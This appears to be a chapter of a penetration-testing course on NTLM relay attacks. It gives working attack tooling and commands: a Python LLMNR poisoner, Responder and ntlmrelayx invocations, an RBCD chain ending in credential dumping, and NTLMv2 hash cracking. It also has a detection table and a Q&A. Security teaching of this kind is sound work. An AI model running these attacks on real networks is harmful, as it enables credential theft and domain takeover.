Chapter 105

NTLM Relay Attacks

LLMNR/NBT-NS poisoning to force NTLM authentication, relaying credentials to SMB/LDAP/HTTP targets, Shadow Credentials via RBCD, capturing NTLMv2 hashes for offline cracking

Scenario

You're on the internal network — no credentials yet. A developer types a mistyped server name in Windows Explorer. Windows falls back to LLMNR, broadcasting the name resolution request to the entire subnet. Your listener responds first, claiming to be that server. The developer's workstation sends NTLM authentication to your fake server. You relay it in real-time to the actual domain controller's LDAP service — and because the developer is a Domain Admin, you now have an authenticated LDAP session as Domain Admin. You use it to add a new computer with delegation rights and own the domain. NTLM relay is the most dangerous network-layer attack in enterprise environments — it works on default configurations in most networks.

NTLM Authentication — The Three-Way Handshake

NTLM Authentication (NTLMv2): Client Server (Authenticator) | | |------ NEGOTIATE (Type 1) -------> | (client says: "I support NTLMv2") | | |<----- CHALLENGE (Type 2) -------- | (server sends: 8-byte random challenge) | | |------ AUTHENTICATE (Type 3) ----> | (client sends: | HMAC-MD5(NT hash, challenge) | NTLMv2 response = HMAC-MD5(NT hash, | + username + workstation | challenge + client_challenge + timestamp)) The authentication proof (NTLMv2 response) is computed using: HMAC-MD5(NTLM_hash, server_challenge || client_challenge || timestamp || ...) = NTLMv2 "hash" — what hashcat mode 5600 cracks Critical relay insight: The Type 3 AUTHENTICATE message is NOT bound to a specific server identity (unless SMB signing or LDAP signing/channel binding is enforced). You can take the Type 3 message from one connection and replay it to another server. The second server accepts it because the math checks out — it got a valid Type 3.

Relay Concept — Man-in-the-Middle Authentication

NTLM Relay (without signing): Victim Attacker (Relay) Target | | | | NEGOTIATE (Type 1) ----> | NEGOTIATE (Type 1) ---> | | | | | <--- CHALLENGE (Type 2) -| <-- CHALLENGE (Type 2) -| | (attacker stores | (forward to victim) | | the challenge) | | | | | | AUTHENTICATE (Type 3) -> | AUTHENTICATE (Type 3) ->| | (computed from | (forward to target) | | attacker's challenge) | | | | Target: "Valid auth, | | | you're logged in as | | | Victim's account" | Constraints: - Cannot relay to the same host as the source (MS08-068 patch) - Cannot relay SMB→SMB unless target has SMB signing disabled - Can relay SMB→LDAP (different protocol = no cross-protocol restriction) - Can relay HTTP→LDAP, WebDAV→SMB, etc. - LDAP signing/channel binding blocks LDAP relay (but not enabled by default everywhere)

LLMNR/NBT-NS Poisoning — Triggering NTLM Auth

LLMNR (Link-Local Multicast Name Resolution, port 5355 UDP) and NBT-NS (NetBIOS Name Service, port 137 UDP) are fallback name resolution protocols Windows uses when DNS fails. Any host on the subnet can respond. Poisoning works by responding to ANY query with your own IP — the victim then tries to authenticate to you:

#!/usr/bin/env python3
# Minimal LLMNR poisoner — respond to all queries with attacker IP
# Port 5355 UDP multicast (224.0.0.252)
import socket, struct, threading

MULTICAST_GROUP = '224.0.0.252'
LLMNR_PORT = 5355
ATTACKER_IP = '10.10.10.50'  # your IP

def build_llmnr_response(query_data, attacker_ip):
    """Build LLMNR response claiming attacker_ip for any query."""
    # Parse LLMNR query header (DNS-like format)
    txid  = query_data[:2]
    flags = b'\x80\x00'  # QR=1 (response), RCODE=0 (success)
    qdcount = query_data[4:6]  # question count
    ancount = b'\x00\x01'         # answer count = 1
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'

    header = txid + flags + qdcount + ancount + nscount + arcount

    # Copy the question section verbatim
    question = query_data[12:]  # question starts after 12-byte header

    # Build answer: same name, type A, class IN, TTL=30, rdata=attacker IP
    # Use pointer to question name (compression): 0xC00C = pointer to offset 12
    ip_bytes = socket.inet_aton(attacker_ip)
    answer = (
        b'\xc0\x0c'         # name pointer to question
        + b'\x00\x01'       # type A
        + b'\x00\x01'       # class IN
        + struct.pack('>I', 30)  # TTL
        + b'\x00\x04'       # rdlength = 4
        + ip_bytes
    )

    return header + question + answer

def llmnr_poison_server():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', LLMNR_PORT))

    # Join LLMNR multicast group
    mreq = struct.pack("4sL", socket.inet_aton(MULTICAST_GROUP), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

    print(f"[*] LLMNR poisoner listening on {LLMNR_PORT}")
    while True:
        data, addr = sock.recvfrom(512)
        print(f"[+] LLMNR query from {addr[0]}")
        resp = build_llmnr_response(data, ATTACKER_IP)
        sock.sendto(resp, addr)

# Production: use Responder (Python) — handles LLMNR, NBT-NS, mDNS, WPAD
# sudo responder -I eth0 -rdw    # -r=reply to all, -d=DHCP poisoning, -w=WPAD proxy

Responder — Capture and Poison

Responder workflow: 1. Listen on LLMNR (5355 UDP), NBT-NS (137 UDP), mDNS (5353 UDP) 2. Respond to ANY name resolution query with attacker's IP 3. Victim connects to attacker on SMB/HTTP/WPAD/etc. 4. Attacker presents an NTLM challenge 5. Victim responds with NTLMv2 hash (Type 3 message) 6. Responder logs the hash to logs/ Two modes: a) Capture mode (default): Responder acts as fake server, collects hashes → Offline crack with hashcat -m 5600 b) Relay mode: Disable SMB/HTTP in Responder.conf, forward to ntlmrelayx → Responder poisons, ntlmrelayx relays the auth to real targets Responder.conf for relay mode: [Responder Core] SMB = Off ← ntlmrelayx handles SMB HTTP = Off ← ntlmrelayx handles HTTP Command: sudo responder -I eth0 -rdw ← poisoner sudo ntlmrelayx.py -tf targets.txt ← relay engine (on same machine or via socat) Force LLMNR trigger (from compromised host): net use \\NONEXISTENT_SERVER\share ← triggers LLMNR for NONEXISTENT_SERVER Invoke-WebRequest \\BADSERVER\a ← PowerShell triggers NTLM auth

ntlmrelayx — Relay Engine

# ntlmrelayx usage patterns

# Basic: relay to all targets, execute command on SMB (requires target without signing)
ntlmrelayx.py -tf smb_targets.txt -c "whoami > C:\out.txt" -smb2support

# Relay to LDAP on DC — most powerful target
# Creates a new computer account in the domain (default impacket behavior)
ntlmrelayx.py -t ldap://dc01.corp.local --no-da --no-acl --no-validate-privs

# Relay to LDAP and add attacker-controlled account to Domain Admins
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user attacker_user

# Shadow Credentials attack via LDAP relay
ntlmrelayx.py -t ldap://dc01.corp.local --shadow-credentials --shadow-target 'TARGET_USER'

# Relay to LDAPS (LDAP over SSL) — bypasses some channel binding restrictions
ntlmrelayx.py -t ldaps://dc01.corp.local --add-computer COMPNAME COMPPASS

# ADCS (Active Directory Certificate Services) relay
# If a CA web enrollment endpoint exists, relay SMB auth to get a certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
    --adcs --template DomainController

# targets.txt: one target per line
# 10.10.10.1    ← DC
# 10.10.10.50   ← file server (no SMB signing)
# ldap://dc01   ← explicit protocol prefix

SMB-to-LDAP Relay: RBCD and Shadow Credentials

Relaying to LDAP is the highest-impact path because LDAP lets you modify AD objects. Two main outcomes when you relay a privileged user to LDAP:

Resource-Based Constrained Delegation (RBCD) attack via relay: 1. Relay captures Domain Admin NTLM auth on your fake SMB server 2. Forward to DC LDAP as Domain Admin 3. Create a new computer account (Computer01$, any password) via LDAP CN=Computer01,CN=Computers,DC=corp,DC=local objectClass: computer sAMAccountName: Computer01$ 4. Write msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET machine's computer object, giving Computer01$ permission to act on behalf of any user 5. Now: getST.py -spn cifs/target.corp.local -impersonate Administrator Computer01$:Password → get a service ticket as Domain Admin for target's CIFS service 6. Use ticket (PtT) to access target as Administrator Shadow Credentials attack via relay: 1. Relay Domain Admin NTLM auth to LDAP 2. Write a new certificate credential (msDS-KeyCredentialLink) to a target user or computer account — adds an alternative authentication path using a certificate key pair (no password needed) 3. Retrieve a TGT for the target account using the private key: PKINITtools: gettgtpkinit.py corp.local/target_user -cert-pfx shadow.pfx TGT.ccache 4. Get ST, PtT → own the account
# RBCD flow after relay sets it up

# Step 1: Create a computer account (ntlmrelayx does this automatically with --add-computer)
addcomputer.py -computer-name 'ATTACKER01$' -computer-pass 'Abc123!@#' \
    -dc-host dc01.corp.local 'corp.local/relayed_user:relayed_pass'

# Step 2: Set RBCD on target machine (write msDS-AllowedToActOnBehalfOfOtherIdentity)
rbcd.py -delegate-from 'ATTACKER01$' -delegate-to 'TARGET_PC$' \
    -action write corp.local/domain_admin:password -dc-ip 10.10.10.1

# Step 3: Request a service ticket impersonating Administrator
getST.py -spn 'cifs/TARGET_PC.corp.local' \
    -impersonate Administrator \
    corp.local/'ATTACKER01$':'Abc123!@#' -dc-ip 10.10.10.1

# Step 4: Use the ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass TARGET_PC.corp.local   # dump all credentials
psexec.py -k -no-pass Administrator@TARGET_PC.corp.local

Capturing NTLMv2 Hashes for Offline Cracking

# NTLMv2 hash format captured by Responder:
# DOMAIN\username::hostname:server_challenge:NTLMv2response:blob

# Example:
# CORP\jsmith::WORKSTATION01:a4b3c2d1e0f9a8b7:4e3d2c1b0a9f8e7d6c5b4a3928170605:010100000...

# Crack with hashcat -m 5600 (NetNTLMv2)
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule

# For NTLMv1 (older systems, rare but still exists): hashcat -m 5500
# NTLMv1 is much faster to crack (no HMAC-MD5, just DES operations)

# GPU throughput (RTX 3090):
# NTLMv2 (m 5600): ~10 billion H/s — entire rockyou.txt in milliseconds
# NTLMv1 (m 5500): ~65 billion H/s — even faster

# Important: NTLMv2 hashes cannot be used for Pass-the-Hash
# You need to crack them to recover the plaintext password
# Then use the plaintext or the NT hash derived from it for PtH

# Get NT hash from plaintext:
python3 -c "import hashlib; print(hashlib.new('md4','Password123'.encode('utf-16-le')).hexdigest())"

Attack Target Matrix

Relay SourceRelay TargetRequirementImpact
SMB (victim → attacker)SMB (attacker → target)Target must have SMB signing disabledCommand execution on target as victim's identity
SMB (victim → attacker)LDAP (attacker → DC)LDAP signing not enforced (default)AD object modification — RBCD, Shadow Credentials, account creation
HTTP/WPAD (victim → attacker)LDAP (attacker → DC)Victim browsing triggers WPAD/proxy authSame as SMB→LDAP but triggered via web proxy poisoning
SMB/HTTP (victim → attacker)ADCS HTTP enrollmentADCS web enrollment exists (common in enterprise)Get a certificate for victim's identity → persistent access
HTTP WebDAV (victim → attacker)SMB (target)WebClient service running on victimCode exec; WebDAV uses HTTP auth which works across protocol barrier
SMB Signing

SMB signing, when enforced on a target, cryptographically binds each SMB packet to the authenticated session. The relay attacker can pass the authentication, but when they try to use the session, the SMB packets they send are not signed with the actual session key — which they don't have (only the victim who knows the password has the session key). So signed SMB packets fail. This is why SMB-to-SMB relay only works against targets that don't enforce signing. Domain controllers always enforce SMB signing. By default, workstations and servers in Windows 2022+ have it enabled; older systems do not. LDAP relay is a workaround: LDAP signing is optional and much less commonly enforced than SMB signing.

Detection

SignalSourceNotes
LLMNR/NBT-NS traffic at scale or from non-expected hostsNetwork monitoringProduction environments should have LLMNR and NBT-NS disabled — any such traffic is suspicious
NTLM auth to an unusual server not in known server listDC Security Log (4776)4776 is NTLM validation at the DC; correlate source workstation vs target server
New computer object created by non-admin accountAD audit (4741)Relay attacks often create a computer account; track who has MachineAccountQuota > 0
msDS-AllowedToActOnBehalfOfOtherIdentity written on computer objectAD audit (5136)RBCD attribute change — very low volume of legitimate writes; suspicious when written by unusual accounts
msDS-KeyCredentialLink written on accountAD audit (5136)Shadow Credentials write — near-zero legitimate writes in environments not using WHfB

Q&A

Why can't you relay NTLM authentication back to the same machine it came from?

Microsoft patched this in MS08-068 for SMB. When a client authenticates to a server using NTLM, the server generates a challenge. If someone tries to relay that authentication back to the originating machine (victim→attacker, attacker→victim), Windows detects that the challenge the attacker is sending to the victim is the same one the victim just sent out — it recognizes the loop and rejects it. This is called the "Loopback protection" and is implemented in the NTLM authentication path. This is why relay attacks must go to a different machine than the source. The path victim→attacker→victim is blocked. The path victim→attacker→other_server is allowed. For practical attacks: you get authentication from Workstation A (user is Domain Admin), you relay it to File Server B, or to the Domain Controller's LDAP. You cannot relay back to Workstation A. This is why building a target list of machines different from the source (and without SMB signing) is necessary for SMB relay, and why LDAP relay to the DC is often the highest-impact fallback when SMB targets are limited.

How does ADCS relay work and why is it so impactful?

Active Directory Certificate Services (ADCS) often includes a web enrollment interface at http://ca.corp.local/certsrv/. This web interface uses NTLM authentication. If you can relay NTLM credentials (from a Domain Controller computer account, for example, triggered via PetitPotam coercion) to the ADCS web enrollment, you can request a certificate on behalf of the coerced account. With a certificate for a Domain Controller computer account, you can use PKINIT (Kerberos with certificate auth) to get a TGT for that DC account. From that TGT you can perform DCSync (the DC account has Replication privileges). The chain: PetitPotam (coerce DC to connect to you) → relay HTTP NTLM to ADCS → get DC certificate → PKINIT → DC TGT → DCSync → all NT hashes → full domain compromise. This chain, called ESC8 in Will Schroeder's ADCS research, has no reliable mitigation short of disabling HTTP on ADCS enrollment or enabling EPA (Extended Protection for Authentication) / HTTPS with channel binding. It's one of the fastest paths from network access to full domain compromise in environments with ADCS.